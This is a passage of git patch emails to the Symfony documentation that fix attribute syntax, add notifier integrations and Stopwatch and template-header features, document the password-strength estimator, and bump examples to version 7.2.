+                    **DSN**: ``twilio://SID:TOKEN@default?from=FROM`` \
+                    **Webhook support**: Yes
+`Vonage`_           **Install**: ``composer require symfony/vonage-notifier`` \
+                    **DSN**: ``vonage://KEY:SECRET@default?from=FROM`` \
+                    **Webhook support**: Yes
+`Yunpian`_          **Install**: ``composer require symfony/yunpian-notifier`` \
+                    **DSN**: ``yunpian://APIKEY@default`` \
+                    **Webhook support**: No
+==================  ====================================================================================================================================
 
 .. versionadded:: 6.1
 

From 46562c0f4a4d7c1179599d5772e2955df41ba260 Mon Sep 17 00:00:00 2001
From: homersimpsons <guillaume.alabre@gmail.com>
Date: Sat, 18 May 2024 15:09:21 +0200
Subject: [PATCH 4746/5766] fix expression language precedence cell grouping

---
 reference/formats/expression_language.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/reference/formats/expression_language.rst b/reference/formats/expression_language.rst
index 79af2d14002..1179d78a43c 100644
--- a/reference/formats/expression_language.rst
+++ b/reference/formats/expression_language.rst
@@ -446,9 +446,9 @@ Operators                                                associativity
 ``~``                                                    left
 ``+``, ``-``                                             left
 ``..``                                                   left
-``==``, ``===``, ``!=``, ``!==``,                        left
-``<``, ``>``, ``>=``, ``<=``,
-``not in``, ``in``, ``contains``,
+``==``, ``===``, ``!=``, ``!==``, \                      left
+``<``, ``>``, ``>=``, ``<=``, \
+``not in``, ``in``, ``contains``, \
 ``starts with``, ``ends with``, ``matches``
 ``&``                                                    left
 ``^``                                                    left

From ca65006a0cbf8a4e6ce5a37b07c013948b0f0c9e Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?K=C3=A9lian=20Bousquet?=
 <26789950+kells64000@users.noreply.github.com>
Date: Sat, 18 May 2024 17:35:20 +0200
Subject: [PATCH 4747/5766] Update scheduler.rst

The while was missing a parenthesis and the negation of the condition needs to be removed for it to work as expected.
---
 scheduler.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/scheduler.rst b/scheduler.rst
index d23df3b3044..b1ef369b677 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -320,7 +320,7 @@ For example, if you want to send customer reports daily except for holiday perio
             }
 
             // loop until you get the next run date that is not a holiday
-            while (!$this->isHoliday($nextRun) {
+            while ($this->isHoliday($nextRun)) {
                 $nextRun = $this->inner->getNextRunDate($nextRun);
             }
 

From 6453ce337484fa4ed00a99357a6f54de8d7cbf70 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Mon, 20 May 2024 19:05:36 +0200
Subject: [PATCH 4748/5766] Remove redundant parenthesis on attribute

---
 event_dispatcher.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index a1e26412a85..897157b4724 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -162,7 +162,7 @@ having to add any configuration in external files::
         }
     }
 
-You can add multiple ``#[AsEventListener()]`` attributes to configure different methods::
+You can add multiple ``#[AsEventListener]`` attributes to configure different methods::
 
     namespace App\EventListener;
 
@@ -198,7 +198,7 @@ can also be applied to methods directly::
 
     final class MyMultiListener
     {
-        #[AsEventListener()]
+        #[AsEventListener]
         public function onCustomEvent(CustomEvent $event): void
         {
             // ...

From 5d63d63c99c4e6b757bce2cb759af28349c46ade Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Mon, 20 May 2024 19:09:01 +0200
Subject: [PATCH 4749/5766] Remove redundant parenthesis on attribute

---
 components/http_kernel.rst          | 2 +-
 controller.rst                      | 2 +-
 http_cache.rst                      | 4 ++--
 http_cache/cache_vary.rst           | 2 +-
 http_cache/expiration.rst           | 2 +-
 security.rst                        | 6 +++---
 security/expressions.rst            | 6 +++---
 security/voters.rst                 | 4 ++--
 service_container/lazy_services.rst | 2 +-
 templates.rst                       | 6 +++---
 10 files changed, 18 insertions(+), 18 deletions(-)

diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index 9104a9f7b6e..fdaab397050 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -421,7 +421,7 @@ return a ``Response``.
 
     There is a default listener inside the Symfony Framework for the ``kernel.view``
     event. If your controller action returns an array, and you apply the
-    :ref:`#[Template()] attribute <templates-template-attribute>` to that
+    :ref:`#[Template] attribute <templates-template-attribute>` to that
     controller action, then this listener renders a template, passes the array
     you returned from your controller to that template, and creates a ``Response``
     containing the returned content from that template.
diff --git a/controller.rst b/controller.rst
index ec2777e7f19..60aa1e66fdb 100644
--- a/controller.rst
+++ b/controller.rst
@@ -557,7 +557,7 @@ Make sure to install `phpstan/phpdoc-parser`_ and `phpdocumentor/type-resolver`_
 if you want to map a nested array of specific DTOs::
 
     public function dashboard(
-        #[MapRequestPayload()] EmployeesDto $employeesDto
+        #[MapRequestPayload] EmployeesDto $employeesDto
     ): Response
     {
         // ...
diff --git a/http_cache.rst b/http_cache.rst
index e1f1a57399c..99553fc12f2 100644
--- a/http_cache.rst
+++ b/http_cache.rst
@@ -231,7 +231,7 @@ The *easiest* way to cache a response is by caching it for a specific amount of
 
 .. versionadded:: 6.2
 
-    The ``#[Cache()]`` attribute was introduced in Symfony 6.2.
+    The ``#[Cache]`` attribute was introduced in Symfony 6.2.
 
 Thanks to this new code, your HTTP response will have the following header:
 
@@ -331,7 +331,7 @@ Additionally, most cache-related HTTP headers can be set via the single
 
 .. tip::
 
-    All these options are also available when using the ``#[Cache()]`` attribute.
+    All these options are also available when using the ``#[Cache]`` attribute.
 
 Cache Invalidation
 ------------------
diff --git a/http_cache/cache_vary.rst b/http_cache/cache_vary.rst
index cb0db8c674d..d4e1dcbc83e 100644
--- a/http_cache/cache_vary.rst
+++ b/http_cache/cache_vary.rst
@@ -28,7 +28,7 @@ trigger a different representation of the requested resource:
     resource based on the URI and the value of the ``Accept-Encoding`` and
     ``User-Agent`` request header.
 
-Set the ``Vary`` header via the ``Response`` object methods or the ``#[Cache()]``
+Set the ``Vary`` header via the ``Response`` object methods or the ``#[Cache]``
 attribute::
 
 .. configuration-block::
diff --git a/http_cache/expiration.rst b/http_cache/expiration.rst
index 0d666e4cae8..d6beb777032 100644
--- a/http_cache/expiration.rst
+++ b/http_cache/expiration.rst
@@ -61,7 +61,7 @@ or disadvantage to either.
 
 According to the HTTP specification, "the ``Expires`` header field gives
 the date/time after which the response is considered stale." The ``Expires``
-header can be set with the ``expires`` option of the ``#[Cache()]`` attribute or
+header can be set with the ``expires`` option of the ``#[Cache]`` attribute or
 the ``setExpires()`` ``Response`` method::
 
 .. configuration-block::
diff --git a/security.rst b/security.rst
index 2b4350e27ee..0270d2fdbb0 100644
--- a/security.rst
+++ b/security.rst
@@ -2525,7 +2525,7 @@ will happen:
 .. _security-securing-controller-annotations:
 .. _security-securing-controller-attributes:
 
-Another way to secure one or more controller actions is to use the ``#[IsGranted()]`` attribute.
+Another way to secure one or more controller actions is to use the ``#[IsGranted]`` attribute.
 In the following example, all controller actions will require the
 ``ROLE_ADMIN`` permission, except for ``adminDashboard()``, which will require
 the ``ROLE_SUPER_ADMIN`` permission:
@@ -2579,11 +2579,11 @@ that is thrown with the ``exceptionCode`` argument::
 
 .. versionadded:: 6.2
 
-    The ``#[IsGranted()]`` attribute was introduced in Symfony 6.2.
+    The ``#[IsGranted]`` attribute was introduced in Symfony 6.2.
 
 .. versionadded:: 6.3
 
-    The ``exceptionCode`` argument of the ``#[IsGranted()]`` attribute was
+    The ``exceptionCode`` argument of the ``#[IsGranted]`` attribute was
     introduced in Symfony 6.3.
 
 .. _security-template:
diff --git a/security/expressions.rst b/security/expressions.rst
index e3e6425f6d5..fcf87269bc5 100644
--- a/security/expressions.rst
+++ b/security/expressions.rst
@@ -7,7 +7,7 @@ Using Expressions in Security Access Controls
     the :doc:`Voter System </security/voters>`.
 
 In addition to security roles like ``ROLE_ADMIN``, the ``isGranted()`` method
-and ``#[IsGranted()]`` attribute also accept an
+and ``#[IsGranted]`` attribute also accept an
 :class:`Symfony\\Component\\ExpressionLanguage\\Expression` object:
 
 .. configuration-block::
@@ -71,7 +71,7 @@ and ``#[IsGranted()]`` attribute also accept an
 
 .. versionadded:: 6.2
 
-    The ``#[IsGranted()]`` attribute was introduced in Symfony 6.2.
+    The ``#[IsGranted]`` attribute was introduced in Symfony 6.2.
 
 In this example, if the current user has ``ROLE_ADMIN`` or if the current
 user object's ``isSuperAdmin()`` method returns ``true``, then access will
@@ -142,7 +142,7 @@ Additionally, you have access to a number of functions inside the expression:
     true if the user has actually logged in during this session (i.e. is
     full-fledged).
 
-In case of the ``#[IsGranted()]`` attribute, the subject can also be an
+In case of the ``#[IsGranted]`` attribute, the subject can also be an
 :class:`Symfony\\Component\\ExpressionLanguage\\Expression` object::
 
     // src/Controller/MyController.php
diff --git a/security/voters.rst b/security/voters.rst
index 7d37aea2510..c7aeb8bdbe1 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -121,14 +121,14 @@ code like this:
             }
         }
 
-The ``#[IsGranted()]`` attribute or ``denyAccessUnlessGranted()`` method (and also the ``isGranted()`` method)
+The ``#[IsGranted]`` attribute or ``denyAccessUnlessGranted()`` method (and also the ``isGranted()`` method)
 calls out to the "voter" system. Right now, no voters will vote on whether or not
 the user can "view" or "edit" a ``Post``. But you can create your *own* voter that
 decides this using whatever logic you want.
 
 .. versionadded:: 6.2
 
-    The ``#[IsGranted()]`` attribute was introduced in Symfony 6.2.
+    The ``#[IsGranted]`` attribute was introduced in Symfony 6.2.
 
 Creating the custom Voter
 -------------------------
diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst
index 83589939acb..827d36a0662 100644
--- a/service_container/lazy_services.rst
+++ b/service_container/lazy_services.rst
@@ -131,7 +131,7 @@ laziness, and supports lazy-autowiring of union types::
 
 .. versionadded:: 6.3
 
-    The ``lazy`` argument of the ``#[Autowire()]`` attribute was introduced in
+    The ``lazy`` argument of the ``#[Autowire]`` attribute was introduced in
     Symfony 6.3.
 
 Interface Proxifying
diff --git a/templates.rst b/templates.rst
index c3d4ac4d53d..8f1e412b6d1 100644
--- a/templates.rst
+++ b/templates.rst
@@ -579,7 +579,7 @@ use the ``render()`` method of the ``twig`` service.
 
 .. _templates-template-attribute:
 
-Another option is to use the ``#[Template()]`` attribute on the controller method
+Another option is to use the ``#[Template]`` attribute on the controller method
 to define the template to render::
 
     // src/Controller/ProductController.php
@@ -596,7 +596,7 @@ to define the template to render::
         {
             // ...
 
-            // when using the #[Template()] attribute, you only need to return
+            // when using the #[Template] attribute, you only need to return
             // an array with the parameters to pass to the template (the attribute
             // is the one which will create and return the Response object).
             return [
@@ -608,7 +608,7 @@ to define the template to render::
 
 .. versionadded:: 6.2
 
-    The ``#[Template()]`` attribute was introduced in Symfony 6.2.
+    The ``#[Template]`` attribute was introduced in Symfony 6.2.
 
 The :ref:`base AbstractController <the-base-controller-classes-services>` also provides the
 :method:`Symfony\\Bundle\\FrameworkBundle\\Controller\\AbstractController::renderBlock`

From 255cf606be1f6ab582b7f5ef8f0a7781c6667ed6 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Simon=20Andr=C3=A9?= <smn.andre@gmail.com>
Date: Tue, 21 May 2024 19:20:40 +0200
Subject: [PATCH 4750/5766] [AssetMapper] Remove Cloudflare auto-minify links

As Cloudflare is deprecating their auto-minify feature, let's remove it from the doc
---
 frontend/asset_mapper.rst | 9 +++------
 1 file changed, 3 insertions(+), 6 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index dfc6a196430..1f5eae2a501 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -636,9 +636,7 @@ which will automatically do most of these things for you:
 - **Compress your assets**: Your web server should compress (e.g. using gzip)
   your assets (JavaScript, CSS, images) before sending them to the browser. This
   is automatically enabled in Caddy and can be activated in Nginx and Apache.
-  In Cloudflare, assets are compressed by default and you can also
-  enable `auto minify`_ to further compress your assets (e.g. removing
-  whitespace and comments from JavaScript and CSS files).
+  In Cloudflare, assets are compressed by default.
 
 - **Set long-lived cache expiry**: Your web server should set a long-lived
   ``Cache-Control`` HTTP header on your assets. Because the AssetMapper component includes a version
@@ -716,8 +714,8 @@ Does the AssetMapper Component Minify Assets?
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Nope! Minifying or compressing assets *is* important, but can be
-done by your web server or a service like Cloudflare. See
-:ref:`Optimization <optimization>` for more details.
+done by your web server. See :ref:`Optimization <optimization>` for
+more details.
 
 Is the AssetMapper Component Production Ready? Is it Performant?
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -1152,7 +1150,6 @@ command as part of your CI to be warned anytime a new vulnerability is found.
 .. _class syntax: https://caniuse.com/es6-class
 .. _UX React Documentation: https://symfony.com/bundles/ux-react/current/index.html
 .. _UX Vue.js Documentation: https://symfony.com/bundles/ux-vue/current/index.html
-.. _auto minify: https://developers.cloudflare.com/support/speed/optimization-file-size/using-cloudflare-auto-minify/
 .. _Lighthouse: https://developers.google.com/web/tools/lighthouse
 .. _Tailwind: https://tailwindcss.com/
 .. _BabdevPagerfantaBundle: https://github.com/BabDev/PagerfantaBundle

From 46bef1465a0c408aabb2c4cb2d9a4cce2e3d50e9 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Simon=20Andr=C3=A9?= <smn.andre@gmail.com>
Date: Tue, 21 May 2024 07:22:49 +0200
Subject: [PATCH 4751/5766] [HttpCache] Remove SensioFrameworkExtraBundle
 reference

---
 http_cache/_expiration-and-validation.rst.inc | 7 -------
 1 file changed, 7 deletions(-)

diff --git a/http_cache/_expiration-and-validation.rst.inc b/http_cache/_expiration-and-validation.rst.inc
index 3ae2113e242..cb50cd6163e 100644
--- a/http_cache/_expiration-and-validation.rst.inc
+++ b/http_cache/_expiration-and-validation.rst.inc
@@ -5,10 +5,3 @@
     both worlds. In other words, by using both expiration and validation, you
     can instruct the cache to serve the cached content, while checking back
     at some interval (the expiration) to verify that the content is still valid.
-
-    .. tip::
-
-        You can also define HTTP caching headers for expiration and validation by using
-        annotations. See the `FrameworkExtraBundle documentation`_.
-
-.. _`FrameworkExtraBundle documentation`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/annotations/cache.html

From 036eec8f3087091a57b6ed1eca92d3520daa0a95 Mon Sep 17 00:00:00 2001
From: Vincent Chareunphol <vincent@devoji.com>
Date: Thu, 16 May 2024 12:48:39 +0200
Subject: [PATCH 4752/5766] Add extra information on AsEventListener attribute
 usage

---
 event_dispatcher.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index 897157b4724..dc1682f39e6 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -162,7 +162,9 @@ having to add any configuration in external files::
         }
     }
 
-You can add multiple ``#[AsEventListener]`` attributes to configure different methods::
+You can add multiple ``#[AsEventListener]`` attributes to configure different methods.
+In the below example, for ``foo`` event, ``onFoo`` method will be called
+implicitly if method attribute is not set::
 
     namespace App\EventListener;
 

From 81ca5c25843a0775abd6765f1107a72b34c9c156 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 22 May 2024 15:38:09 +0200
Subject: [PATCH 4753/5766] Minor tweaks

---
 event_dispatcher.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index dc1682f39e6..ab3428f6cb0 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -163,8 +163,9 @@ having to add any configuration in external files::
     }
 
 You can add multiple ``#[AsEventListener]`` attributes to configure different methods.
-In the below example, for ``foo`` event, ``onFoo`` method will be called
-implicitly if method attribute is not set::
+The ``method`` property is optional, and when not defined, it defaults to
+``on`` + uppercased event name. In the example below, the ``'foo'`` event listener
+doesn't explicitly define its method, so the ``onFoo()`` method will be called::
 
     namespace App\EventListener;
 

From 18f36ef332bae77634877b1bea756ae3230d82b6 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 22 May 2024 15:46:43 +0200
Subject: [PATCH 4754/5766] Fix some merging issues

---
 notifier.rst | 12 +++++++++---
 1 file changed, 9 insertions(+), 3 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 3e2c3eca6d9..b34757f22bf 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -165,6 +165,9 @@ Service
 `Smsapi`_           **Install**: ``composer require symfony/smsapi-notifier`` \
                     **DSN**: ``smsapi://TOKEN@default?from=FROM`` \
                     **Webhook support**: No
+`Smsbox`_           **Install**: ``composer require symfony/smsbox-notifier`` \
+                    **DSN**: ``smsbox://APIKEY@default?mode=MODE&strategy=STRATEGY&sender=SENDER`` \
+                    **Webhook support**: No
 `SmsBiuras`_        **Install**: ``composer require symfony/sms-biuras-notifier`` \
                     **DSN**: ``smsbiuras://UID:API_KEY@default?from=FROM&test_mode=0`` \
                     **Webhook support**: No
@@ -189,6 +192,9 @@ Service
 `Twilio`_           **Install**: ``composer require symfony/twilio-notifier`` \
                     **DSN**: ``twilio://SID:TOKEN@default?from=FROM`` \
                     **Webhook support**: Yes
+`Unifonic`_         **Install**: ``composer require symfony/unifonic-notifier`` \
+                    **DSN**: ``unifonic://APP_SID@default?from=FROM`` \
+                    **Webhook support**: No
 `Vonage`_           **Install**: ``composer require symfony/vonage-notifier`` \
                     **DSN**: ``vonage://KEY:SECRET@default?from=FROM`` \
                     **Webhook support**: Yes
@@ -205,7 +211,8 @@ Service
 
 .. versionadded:: 7.1
 
-    The `SmsSluzba`_, `SMSense`_  and `LOX24`_ integrations were introduced in Symfony 7.1.
+    The ``Smsbox``, ``SmsSluzba``, ``SMSense``, ``LOX24`` and ``Unifonic``
+    integrations were introduced in Symfony 7.1.
 
 .. deprecated:: 7.1
 
@@ -348,8 +355,7 @@ Service                                  Package                               D
 
 .. versionadded:: 7.1
 
-    The ``Bluesky``, ``Unifonic`` and ``Smsbox`` integrations
-    were introduced in Symfony 7.1.
+    The ``Bluesky`` integration was introduced in Symfony 7.1.
 
 .. caution::
 

From 01ca38dac8964f2e06eb18428854e9f3561a5a17 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Wed, 22 May 2024 21:44:11 +0200
Subject: [PATCH 4755/5766] [Stopwatch] Add ROOT constant to make it easier to
 reference

---
 performance.rst | 8 +++++++-
 1 file changed, 7 insertions(+), 1 deletion(-)

diff --git a/performance.rst b/performance.rst
index ca34e95ee37..ffeff6608c1 100644
--- a/performance.rst
+++ b/performance.rst
@@ -382,10 +382,16 @@ All events that don't belong to any named section are added to the special secti
 called ``__root__``. This way you can get all stopwatch events, even if you don't
 know their names, as follows::
 
-    foreach($this->stopwatch->getSectionEvents('__root__') as $event) {
+    use Symfony\Component\Stopwatch\Stopwatch;
+
+    foreach($this->stopwatch->getSectionEvents(Stopwatch::ROOT) as $event) {
         echo (string) $event;
     }
 
+.. versionadded:: 7.2
+
+    The ``Stopwatch::ROOT`` constant as a shortcut for ``__root__`` was introduced in Symfony 7.2.
+
 Learn more
 ----------
 

From 6331dc5d6b6b52425220e5dec44f75be657ea2d7 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Wed, 22 May 2024 21:49:28 +0200
Subject: [PATCH 4756/5766] [Stopwatch] Add getLastPeriod method to
 StopwatchEvent

---
 performance.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/performance.rst b/performance.rst
index ca34e95ee37..634ad8572ea 100644
--- a/performance.rst
+++ b/performance.rst
@@ -362,6 +362,13 @@ method does, which stops an event and then restarts it immediately::
     // Lap information is stored as "periods" within the event:
     // $event->getPeriods();
 
+    // Gets the last event period:
+    // $event->getLastPeriod();
+
+.. versionadded:: 7.2
+
+    The ``getLastPeriod`` method was introduced in Symfony 7.2.
+
 Profiling Sections
 ..................
 

From 5bcaf58a7608ad467dffc3be35721d9e3286b4c1 Mon Sep 17 00:00:00 2001
From: Tim <5579551+Timherlaud@users.noreply.github.com>
Date: Wed, 22 May 2024 16:31:48 +0200
Subject: [PATCH 4757/5766] 19909 [FrameworkBundle] Add support for setting
 headers

---
 templates.rst | 19 +++++++++++++++++++
 1 file changed, 19 insertions(+)

diff --git a/templates.rst b/templates.rst
index b6ae333cee1..d1c714d4225 100644
--- a/templates.rst
+++ b/templates.rst
@@ -705,6 +705,11 @@ provided by Symfony:
                     site_name: 'ACME'
                     theme: 'dark'
 
+                # optionally you can define HTTP headers to add to the response
+                headers:
+                    Content-Type: 'text/html'
+                    foo: 'bar'
+
     .. code-block:: xml
 
         <!-- config/routes.xml -->
@@ -734,6 +739,11 @@ provided by Symfony:
                     <default key="site_name">ACME</default>
                     <default key="theme">dark</default>
                 </default>
+
+                <!-- optionally you can define HTTP headers to add to the response -->
+                <default key="headers">
+                    <default key="Content-Type">text/html</default>
+                </default>
             </route>
         </routes>
 
@@ -764,11 +774,20 @@ provided by Symfony:
                     'context' => [
                         'site_name' => 'ACME',
                         'theme' => 'dark',
+                        ],
+
+                    // optionally you can define HTTP headers to add to the response
+                    'headers' => [
+                        'Content-Type' => 'text/html',
                     ]
                 ])
             ;
         };
 
+.. versionadded:: 7.2
+
+    The ``headers`` option was introduced in Symfony 7.2.
+
 Checking if a Template Exists
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From b38c05e9f54d8cd0efccc09f386ca98444ba4b59 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Fri, 24 May 2024 09:35:51 +0200
Subject: [PATCH 4758/5766] implement __isset() together with __get()

---
 components/property_access.rst | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/components/property_access.rst b/components/property_access.rst
index e2e6cb95796..953a05bff47 100644
--- a/components/property_access.rst
+++ b/components/property_access.rst
@@ -204,12 +204,22 @@ The ``getValue()`` method can also use the magic ``__get()`` method::
         {
             return $this->children[$id];
         }
+
+        public function __isset($id): bool
+        {
+            return true;
+        }
     }
 
     $person = new Person();
 
     var_dump($propertyAccessor->getValue($person, 'Wouter')); // [...]
 
+.. caution::
+
+    When implementing the magic ``__get()`` method, you also need to implement
+    ``__isset()``.
+
 .. versionadded:: 5.2
 
     The magic ``__get()`` method can be disabled since in Symfony 5.2.

From a9a6f77c095d34d3bb2c6b7e65fd26fb7f2e371d Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Fri, 24 May 2024 15:50:07 +0200
Subject: [PATCH 4759/5766] Update examples to symfony 7.2

---
 contributing/code/pull_requests.rst | 2 +-
 contributing/code/tests.rst         | 2 +-
 setup.rst                           | 8 ++++----
 3 files changed, 6 insertions(+), 6 deletions(-)

diff --git a/contributing/code/pull_requests.rst b/contributing/code/pull_requests.rst
index 7c9ab2579a5..28a6dbc8169 100644
--- a/contributing/code/pull_requests.rst
+++ b/contributing/code/pull_requests.rst
@@ -132,7 +132,7 @@ work:
   branch (you can find them on the `Symfony releases page`_). E.g. if you
   found a bug introduced in ``v5.1.10``, you need to work on ``5.4``.
 
-* ``7.1``, if you are adding a new feature.
+* ``7.2``, if you are adding a new feature.
 
   The only exception is when a new :doc:`major Symfony version </contributing/community/releases>`
   (5.0, 6.0, etc.) comes out every two years. Because of the
diff --git a/contributing/code/tests.rst b/contributing/code/tests.rst
index 08f6bc5df12..060e3eda02b 100644
--- a/contributing/code/tests.rst
+++ b/contributing/code/tests.rst
@@ -32,7 +32,7 @@ tests, such as Doctrine, Twig and Monolog. To do so,
 
     .. code-block:: terminal
 
-        $ COMPOSER_ROOT_VERSION=7.1.x-dev composer update
+        $ COMPOSER_ROOT_VERSION=7.2.x-dev composer update
 
 .. _running:
 
diff --git a/setup.rst b/setup.rst
index 90a89e78e8a..5cf3d2f90ab 100644
--- a/setup.rst
+++ b/setup.rst
@@ -48,10 +48,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_directory --version="7.1.*" --webapp
+    $ symfony new my_project_directory --version="7.2.*" --webapp
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_directory --version="7.1.*"
+    $ symfony new my_project_directory --version="7.2.*"
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--webapp`` option installs extra packages to give
@@ -63,12 +63,12 @@ Symfony application using Composer:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ composer create-project symfony/skeleton:"7.1.*" my_project_directory
+    $ composer create-project symfony/skeleton:"7.2.*" my_project_directory
     $ cd my_project_directory
     $ composer require webapp
 
     # run this if you are building a microservice, console application or API
-    $ composer create-project symfony/skeleton:"7.1.*" my_project_directory
+    $ composer create-project symfony/skeleton:"7.2.*" my_project_directory
 
 No matter which command you run to create the Symfony application. All of them
 will create a new ``my_project_directory/`` directory, download some dependencies

From 81316769124d8bd7258035f630df0d90f494815d Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sun, 26 May 2024 15:20:55 +0200
Subject: [PATCH 4760/5766] Use Doctor RST 1.61.1

---
 .doctor-rst.yaml          | 1 +
 .github/workflows/ci.yaml | 2 +-
 2 files changed, 2 insertions(+), 1 deletion(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 5f428fc80ca..3602a9787c0 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -33,6 +33,7 @@ rules:
         max: 2
     max_colons: ~
     no_app_console: ~
+    no_attribute_redundant_parenthesis: ~
     no_blank_line_after_filepath_in_php_code_block: ~
     no_blank_line_after_filepath_in_twig_code_block: ~
     no_blank_line_after_filepath_in_xml_code_block: ~
diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 44aa8481fd5..e8142fecd10 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -73,7 +73,7 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst:1.60.1
+                uses: docker://oskarstark/doctor-rst:1.61.1
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 

From 92d1b5a8728b7c83930e497a7c86e1f0b6abcb1f Mon Sep 17 00:00:00 2001
From: Yannick <tech@yalit.be>
Date: Tue, 21 May 2024 23:52:53 +0200
Subject: [PATCH 4761/5766] [Validator] feat : add password strength estimator
 related documentation

---
 reference/constraints/PasswordStrength.rst    |  9 ++++
 .../get_or_override_estimate_strength.rst     | 48 +++++++++++++++++++
 2 files changed, 57 insertions(+)
 create mode 100644 validation/passwordStrength/get_or_override_estimate_strength.rst

diff --git a/reference/constraints/PasswordStrength.rst b/reference/constraints/PasswordStrength.rst
index 989ffddd100..a44fd70fd4e 100644
--- a/reference/constraints/PasswordStrength.rst
+++ b/reference/constraints/PasswordStrength.rst
@@ -128,3 +128,12 @@ The default message supplied when the password does not reach the minimum requir
         ])]
         protected $rawPassword;
     }
+
+Learn more
+----------
+
+.. toctree::
+    :maxdepth: 1
+    :glob:
+
+    /validation/passwordStrength/*
diff --git a/validation/passwordStrength/get_or_override_estimate_strength.rst b/validation/passwordStrength/get_or_override_estimate_strength.rst
new file mode 100644
index 00000000000..9cd24c1b818
--- /dev/null
+++ b/validation/passwordStrength/get_or_override_estimate_strength.rst
@@ -0,0 +1,48 @@
+How to Get or Override the Default Password Strength Estimation Algorithm
+=========================================================================
+
+Within the :class:`Symfony\\Component\\Validator\\Constraints\\PasswordStrengthValidator` a `dedicated function`_ is used to estimate the strength of the given password. This function can be retrieved directly from the :class:`Symfony\\Component\\Validator\\Constraints\\PasswordStrengthValidator` class and can also be overridden.
+
+Get the default Password strength
+---------------------------------
+
+In case of need to retrieve the actual strength of a password (e.g. compute the score and display it when the user has defined a password), the ``estimateStrength`` `dedicated function`_ of the :class:`Symfony\\Component\\Validator\\Constraints\\PasswordStrengthValidator` is a public static function, therefore this function can be retrieved directly from the `PasswordStrengthValidator` class.::
+
+        use Symfony\Component\Validator\Constraints\PasswordStrengthValidator;
+
+        $passwordEstimatedStrength = PasswordStrengthValidator::estimateStrength($password);
+
+
+Override the default Password strength estimation algorithm
+-----------------------------------------------------------
+
+If you need to override the default password strength estimation algorithm, you can pass a ``Closure`` to the :class:`Symfony\\Component\\Validator\\Constraints\\PasswordStrengthValidator` constructor. This can be done using the :doc:`/service_container/service_closures`.
+
+First, create a custom password strength estimation algorithm within a dedicated callable class.::
+
+        namespace App\Validator;
+
+        class CustomPasswordStrengthEstimator
+        {
+            /**
+             * @param string $password
+             *
+             * @return PasswordStrength::STRENGTH_*
+             */
+            public function __invoke(string $password): int
+            {
+                // Your custom password strength estimation algorithm
+            }
+        }
+
+Then, configure the :class:`Symfony\\Component\\Validator\\Constraints\\PasswordStrengthValidator` service to use the custom password strength estimation algorithm.::
+
+        # config/services.yaml
+        services:
+            custom_password_strength_estimator:
+                class: App\Validator\CustomPasswordStrengthEstimator
+
+            Symfony\Component\Validator\Constraints\PasswordStrengthValidator:
+                arguments: [!service_closure '@custom_password_strength_estimator']
+
+.. _`dedicated function`: https://github.com/symfony/symfony/blob/85db734e06e8cb32365810958326d48084bf48ba/src/Symfony/Component/Validator/Constraints/PasswordStrengthValidator.php#L53-L90

From f6b69918adf973068635a9f39e1e4be5c1f4dc40 Mon Sep 17 00:00:00 2001
